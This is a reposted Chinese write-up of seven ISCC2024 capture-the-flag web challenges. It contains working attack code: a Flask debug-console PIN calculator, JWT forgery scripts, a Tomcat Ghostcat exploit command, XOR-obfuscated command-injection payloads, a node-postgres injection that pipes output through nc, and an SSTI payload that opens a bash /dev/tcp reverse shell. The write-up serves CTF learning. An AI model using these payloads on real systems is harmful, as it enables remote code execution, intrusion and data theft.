0


ISCC2024 Web部分题解

Web1 还没想好名字的塔防游戏

1.打开靶机获取一个游戏

2.先尝试玩几把游戏得到弹窗提示信息

3.根据弹窗提示全局搜索alert找源码,可以找到三条提示信息

Owls Sketch Shadows
Crystal Rivers Sing
Griffins Guard Galaxies
OSSCRSGGG

4.在网页里看到

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

同样获取大写字母,组合起来就是Flag

ISCC{MDWTSGTMMOSSCRSGGG}

Web2 Flask中的pin值计算

1.打开靶机获取提示信息

2.Ctrl+u查看源码发现base64的编码的字符串,解码得到路径/getusername;

3.访问/getusername进入以下页面,通过不断的尝试最终发现输入“告诉我username“就可以拿到username值为:pincalculate

4.通过不断的测试,输入app之后会再给我们一个提示访问/crawler,出现了一个需要在1秒内计算的公式,使用脚本计算获取路径信息

5.查看网络请求可以发现,页面所需要计算的值是由/get_expression接口传过来的,那么就可以编写脚本来计算,观察experssion发现要对python运算符进行替换

import json 
import requests 
text = requests.get("http://101.200.138.180:10006/get_expression").text 
# 解析JSON字符串 
data = json.loads(text) 
 
# 提取表达式 
expression = data["expression"] 
​
# 将乘号和除号替换为Python的运算符 
expression = expression.replace("\u00d7", "*") 
expression = expression.replace("\u00f7", "/") 
​
# 计算表达式的值 
result = eval(expression) 
 
# 打印结果 
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text 
print(text)

输出:

/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode_mac位于/woddenfish

即获取到app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py

6.访问接口/woddenfish,无论点击“敲击”多少次一直显示功德不足,查看一下源码拿到jwt,对jwt进行解密。

7.将解密后的donate换成gongde,然后quantity设置一个极大的值,根据源码得知jwt的key是ISCC_muyu_2024

8.用burpsuite抓包,替换Session后重放包得到响应,得到MAC 地址是: 02:42:ac:18:00:02,转换成十进制为2485378351106,下一步提示为/machine_id

“Session”:“eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwfQ.n8_a10iVQh-pjbR7vs-kTGcTinX79xPTZTC5zlazHAU”

9.我们继续输入 /machine_id跟进分析,点击VIP会员奖品拿到一个jwt,点SUPERVIP会员奖品无法获取

10.解jwt得:

11.伪造jwt,修改role

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
 
def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
 
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ2NDQ3NjAsImlhdCI6MTcxNDY0MTE2MCwianRpIjoiUXpuLU1NN3djRjFzLVh4NlF2V3V0USIsIm5iZiI6MTcxNDY0MTE2MCwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.ll_ExDrBzG-hU18i9yCZe6ALPAe0xFXbra6YbKxOWL5r8XBLDrBUxKTdDinDIxFVU6v69UhHmPrQYvKt0iwaxMDxX71h6XWk5PP0DiSc-IcPol-jJjOdDzjJosyEUzeTkxgD_8T55Y3AbPCligDkBq7HhBuz7yAzWRPZTJpXmfo_CVNdpmCSbriQ_FCYqVScwUZZe6RtD63Pqv_ge5RDWBrx4Lb-DDXLyxdwkibJCbr8A35uNLwv2Vlvx9MhcZANEZG3IrilQRh2n55w74gEyCxIhmXDcfRFSQLMupduP9RcRIAllqKKdXzxq97e0ERp8SnlaZA-W0co8lpAfNVPwA'))

使用构造好的jwt传参,/vipprice?token=得到的结果

可获得supervip的secret_key:welcome_to_iscc_club

12.使用https://github.com/noraj/flask-session-cookie-manager中的flask_session_cookie_manager3.py脚本伪造session

13.把构造好的payload替换掉原来的session之后即可获得machine_id为:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

14.至此已获取全部所需信息

username:pincalculate 
​
modname:flask.app 
​
appname:Flask 
​
app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py
​
uuidnode mac:2485378351106
​
machine_id 机器码:acff8a1c-6825-4b9b-b8e1-8983ce1a8b94

15.使用以下脚本计算pin值:

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.11/site-packages/flask/app.py' 
]
​
private_bits = [
    '2485378351106',
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'
]   
​
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
​
cookie_name = f"__wzd{h.hexdigest()[:20]}"
​
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
​
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
​
print(rv)

16.得到pin值,访问http://101.200.138.180:10006/console?pin=252-749-991即可获取flag

Web3 代码审计

1.打开靶机Ctrl+u查看源码

#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import hashlib
import urllib.parse
import os
import json

app = Flask(__name__)

secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):   #初始化任务并创建沙盒目录
        self.action = action    #要执行的操作
        self.param = param        #与操作相关的参数
        self.sign = sign        #用于验证请求的签名
        self.sandbox = md5(ip)    #基于请求者的 IP 地址生成的 MD5 哈希值创建的目录
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)   
        
    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():                    #检查签名是否有效
            if "scan" in self.action:            #如果 action 包含 scan,执行扫描操作
                resp = scan(self.param)            #调用 scan 函数读取文件内容
                if resp == "Connection Timeout":    #检查是否出现连接超时
                    result['data'] = resp        #将响应数据添加到结果中
                else:                            #否则,处理正常响应
                    print(resp)            #打印响应内容(只会打印在本地控制台,并不会显示在网页中)
                    self.append_to_file(resp)    # 追加内容到已存在的文件
                    result['code'] = 200
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()  # 从已存在的文件中读取
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):  #验证签名
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():        #基于提供的 param 和预定义的 action("scan")生成一个签名
    param = urllib.parse.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():        #根据存储在 cookie 和 get 参数中的 action 和 param 处理一个任务
    action = urllib.parse.unquote(request.cookies.get("action"))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():        #显示 code.txt 文件的内容
    return open("code.txt", "r").read()

def scan(param):
    try:
        with open(param, 'r') as file:
            content = file.read()
        return content
    except FileNotFoundError:
        return "The file does not exist"

def md5(content):
    return hashlib.md5(content.encode()).hexdigest()

def get_sign(action, param):    #基于 action、param 和密钥生成签名(哈希值)
    return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest()

def waf(param):        #参数过滤
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run()

2.该Flask 应用程序定义了三个路由:

  • /geneSign基于从 get参数中获取的 param 和预定义的 action("scan")生成一个签名
  • /De1ta通过cookie获取两个参数action和sign的值,通过get参数中获取参数param的值创建一个 Task 实例,执行任务并返回结果的 JSON 字符串。
  • /访问网站的根路径,调用 index 函数,读取并返回 code.txt 文件的内容

3.由题目可知:

(1)要想读取到flag,self.param应该等于flag.txt,

(2)cookies中的action+get参数中的param加密后要等于cookies中的sign

get_sign(self.action, self.param) == self.sign
md5(secert_key + flag.txt + action) = md5(secert_key + param + scan)
action=readscan        param=flag.txtread

4.首先用路由/geneSign中获取 if (getSign(self.action, self.param) == self.sign) 中sign的值,即构造payload /geneSign?param=flag.txtread

5.然后构造cookie,然后给/De1ta路由的param参数传值为flag.txt就可以拿到最终的flag了

Web4 原神启动

1.打开靶机,Ctrl+u查看源码得到注释:

2.根据提示信息与熊论道,获取提示信息“草克制水”,则在首页面输入”草“属性

3.进入许愿页面,直接输入flag,发现如下所示给了一个flag.txt

4.访问flag.txt后拿到一个假的flag

5.目录扫描获得路径/docs,访问进入页面获取Apache Tomcat版本为8.5.32,该版本存在CVE-2020-1938 Tomcat任意文件读取漏洞

6.直接在github上获取脚本,使用python2环境执行命令,在WEB-INF/flag.txt下获得flag

python2 CNVD-2020-10487-Tomcat-Ajp-1fi.py 101.200.138.180 -p 8009 -f WEB-INF/flag.txt

Web5 掉进阿帕奇的工资

1.打开靶机进入一个登录页面,注册账号然后登录,发现登陆失败,Ctrl+u查看源码,发现job被隐藏了

2.使用burpsuit传参抓包提交职位信息,新加一个参数job=admin,还是无法登录

3.点击信息重置,通过安全问题信息重置,可以发现当前的身份就是manager了

4.取得manager身份进行登录进入后台页面

5.进入工资页面,测试发现基本工资与绩效进行异或得到预测结果

6.根据异或特性,"]A" 与 "12" 的ASCII 码对应位进行异或得到 "ls",RCE可得到当前目录下的文件

7.执行ls命令看到了一个Docfile文件,编写异或脚本生成“cat Docfile”字符串异或后的值,然后传值给web,可以看到Docfile里面的内容

CH= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789[]!@#$%^&*()_+-=:;"
def xor(a):
    xor_payload=[]
    for i in range(0,len(a)):
        num1 = ord(a[i])^ord("1")
        if chr(num1) not in CH:
            xor_payload.append("a")
            num1 = ord(a[i])^ord('a')
            print(chr(num1),end="")
            continue
        print(chr(num1),end="")
        xor_payload.append("1")
    print("")
    return "".join(xor_payload)
print(xor(f"cat Docfile"))

secret.host:
    image: nginx
    container_name: secret.host
    volumes:
      - ./:/etc/nginx/conf.d/

8.由Docfile中的内容可以猜测flag在 http://secret.host/flag中

利用php -r来获取http://secret.host/flag的内容

payload:

php -r "echo file_get_contents('http://secret.host/flag');"

9.用脚本进行xor

10.传值给web即可获取flag

Web6 这题我出不了了

1.打开靶机进入以下页面

2.点击“关键信息”进入注册入口页面

3.对中间代码进行分析

导入 mysql 和 pg(PostgreSQL)的模块, pg 为7.0.2 版本。

对debug后的内容进行base64解密得到:

fs.readFile('printFlag', 'utf8', (err, data) => {console.log(data);});

Node.js 读取名为 printFlag 的文件,并将其内容作为字符串传递给回调函数的 data 参数。

如果读取文件过程中没有错误,回调函数会将文件内容打印到控制台。

const mysql = require("mysql");
const pg = require("pg"); // use [email protected]

// WAF
const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter",     "truncate", "exec", "xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema","table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name", "\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>", "<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]
//定义一个包含WAF敏感词的数组,检测和阻止SQL注入攻击和其他恶意输入

// debug: 
// ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
//     Y29uc29sZS5sb2coZGF0YSk7
// fSk7

4.在此利用node-postgreSQL的漏洞,使用官方脚本,执行远程代码,执行反弹shell命令。

参考:node.js + postgres 从注入到Getshell | 离别歌

from random import randint
import requests

# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc ip port`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)

username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
            'username': username+payload,
            'password': 'AAAAAA'
        }
print 'ok'
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data);
print r.content

5.同时服务器端使用nc监听端口,即可获得flag

Web7 回来吧永远滴神

1.打开靶机进入以下页面,进行搜索获取相应内容,进行填空

2.输入正确答案提交之后,进入隐藏关卡

3.Ctrl+u查看源码,发现一段base64的编码的字符串,进行解密获得部分flag

4.在隐藏关卡,随便输入“123”后显示:神说:大胆!,输入“{% print ttt %}”后报出其他内容,推测此处是模板注入SSTI,且存在waf

5.使用python的fenjing模块跑脚本,在不获取waf黑名单的情况下生成payload

import functools
import time
import requests
from fenjing import exec_cmd_payload

url= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
    'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.02) # 防止请求发送过多
    resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})
    return "BAD" not in resp.text
    
if __name__ == "__main__":
    shell_payload, will_print = exec_cmd_payload(
    waf, 'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2336 0>&1"')
    if not will_print:
        print("这个payload不会产生回显!")
    print(f"{shell_payload=}")

6.服务器端使用nc监听端口,使用构造好的payload输入到隐藏关卡页面的输入框,反弹成功,可查看flag[1]和flag[2]源码

7.查看app.py源码,分析代码的加密逻辑,写出解密flag[3]的脚本

from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum

class Mode(Enum):
    ECB = 0x01
    CBC = 0x02
    CFB = 0x03

class Cipher:
    def __init__(self, key, iv=None):
        self.BLOCK_SIZE = 64
        self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
        self.DELTA = 0x9e3779b9
        self.IV = iv
        self.ROUNDS = 64
        if self.IV:
            self.mode = Mode.CBC if iv else Mode.ECB
            if len(self.IV) * 8 != self.BLOCK_SIZE:
                self.mode = Mode.CFB

    def _xor(self, a, b):
        return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))

    def decrypt_block(self, ct):
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        c0 = b2l(ct[:4])
        c1 = b2l(ct[4:])
        s = (self.DELTA * self.ROUNDS) & msk

        for i in range(self.ROUNDS):
            c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ ((c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
            c1 &= msk
            c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ ((c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
            c0 &= msk
            s -= self.DELTA

        return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)

    def encrypt_block(self, msg):
        m0 = b2l(msg[:4])
        m1 = b2l(msg[4:])
        msk = (1 << (self.BLOCK_SIZE // 2)) - 1
        s = 0
        for i in range(self.ROUNDS):
            s += self.DELTA
            m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
            m0 &= msk
            m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ ((m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
            m1 &= msk
        return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)

    def decrypt(self, ct):
        blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
        pt = b''
        
        if self.mode == Mode.ECB:
            for ct_block in blocks:
                pt += self.decrypt_block(ct_block)
        elif self.mode == Mode.CBC:
            X = self.IV
            for ct_block in blocks:
                dec_block = self.decrypt_block(ct_block)
                pt_block = self._xor(X, dec_block)
                pt += pt_block
                X = ct_block
        elif self.mode == Mode.CFB:
            X = self.IV
            for ct_block in blocks:
                output = self.encrypt_block(X)
                pt_block = self._xor(output, ct_block)
                pt += pt_block
                X = ct_block

        return unpad(pt, self.BLOCK_SIZE // 8)

if __name__ == '__main__':
    # Provided KEY and IV in hexadecimal format
    KEY = bytes.fromhex('xxx')
    IV = bytes.fromhex('xxx')
    CIPHERTEXT = bytes.fromhex('xxx')

    cipher = Cipher(KEY, IV)
    decrypted_message = cipher.decrypt(CIPHERTEXT)

    print(f'Decrypted message: {decrypted_message}')

8.将上述几段flag进行结合得到

I{DSK6Fj7cSHvVBCB9XaC5f_Y*4CI6CFCYm6Gs*}

9.对结合得到的字符串进行栅栏枚举解密即可得到flag


本文转载自: https://blog.csdn.net/2201_75627590/article/details/140846636
版权归原作者 Doris Chan 所有, 如有侵权,请联系我们删除。

“ISCC2024 Web部分题解”的评论:

还没有评论